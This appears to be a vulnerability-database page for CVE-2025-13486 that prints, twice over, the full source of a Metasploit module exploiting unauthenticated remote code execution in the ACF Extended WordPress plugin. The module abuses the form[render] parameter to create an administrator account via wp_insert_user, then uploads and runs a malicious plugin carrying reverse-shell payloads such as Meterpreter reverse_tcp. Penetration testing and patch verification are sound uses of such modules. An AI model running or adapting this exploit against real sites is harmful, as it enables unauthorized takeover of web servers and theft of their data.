9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This module exploits an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended ACF Extended WordPress plugin versions 0.9.0.5 through 0.9.1.1. The vulnerability exists in the prepareform function of the...
Basic Information
ID
MSF:EXPLOIT-MULTI-HTTP-WP_ACF_EXTENDED_RCE-
Published
Dec 19, 2025 at 18:55
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
'Description' => %q{
This module exploits an unauthenticated Remote Code Execution vulnerability in the
Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
acfe_module_form_front_render class, which accepts user-controlled input via the
form[render] parameter and passes it directly to call_user_func_array() without
proper sanitization.
This exploit requires a WordPress page containing an ACF Extended form widget, which
exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
must be set to the path of such a page.
Once an administrator account is created via wp_insert_user(), the module uploads
and executes a malicious plugin to achieve remote code execution (RCE).
},
'Author' => [
'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
'Valentin Lobstein <[email protected]>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-13486'],
['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-12-02',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
])
end
def check
return CheckCode::Unknown unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
return plugin_check if plugin_check == CheckCode::Safe
@nonce = find_nonce
return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce
CheckCode::Appears
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
end
admin_cookie = create_admin_user
upload_and_execute_payload(admin_cookie)
end
def ensure_nonce
return if @nonce
@nonce = find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
end
def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i
Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
end
def send_exploit_request
ensure_nonce
send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'acfe/form/render_form_ajax',
'nonce' => @nonce,
'form[render]' => 'wp_insert_user',
'form[user_login]' => datastore['USERNAME'],
'form[user_email]' => datastore['EMAIL'],
'form[user_pass]' => datastore['PASSWORD'],
'form[role]' => 'administrator'
}
)
end
def create_admin_user
res = send_exploit_request
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}
print_good('Administrator account created successfully')
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
cookie
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
zip = generate_plugin(plugin_name, payload_name)
unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
'Description' => %q{
This module exploits an unauthenticated Remote Code Execution vulnerability in the
Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
acfe_module_form_front_render class, which accepts user-controlled input via the
form[render] parameter and passes it directly to call_user_func_array() without
proper sanitization.
This exploit requires a WordPress page containing an ACF Extended form widget, which
exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
must be set to the path of such a page.
Once an administrator account is created via wp_insert_user(), the module uploads
and executes a malicious plugin to achieve remote code execution (RCE).
},
'Author' => [
'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
'Valentin Lobstein <[email protected]>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-13486'],
['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-12-02',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
])
end
def check
return CheckCode::Unknown unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
return plugin_check if plugin_check == CheckCode::Safe
@nonce = find_nonce
return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce
CheckCode::Appears
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
end
admin_cookie = create_admin_user
upload_and_execute_payload(admin_cookie)
end
def ensure_nonce
return if @nonce
@nonce = find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
end
def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i
Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
end
def send_exploit_request
ensure_nonce
send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'acfe/form/render_form_ajax',
'nonce' => @nonce,
'form[render]' => 'wp_insert_user',
'form[user_login]' => datastore['USERNAME'],
'form[user_email]' => datastore['EMAIL'],
'form[user_pass]' => datastore['PASSWORD'],
'form[role]' => 'administrator'
}
)
end
def create_admin_user
res = send_exploit_request
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}
print_good('Administrator account created successfully')
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
cookie
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
zip = generate_plugin(plugin_name, payload_name)
unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end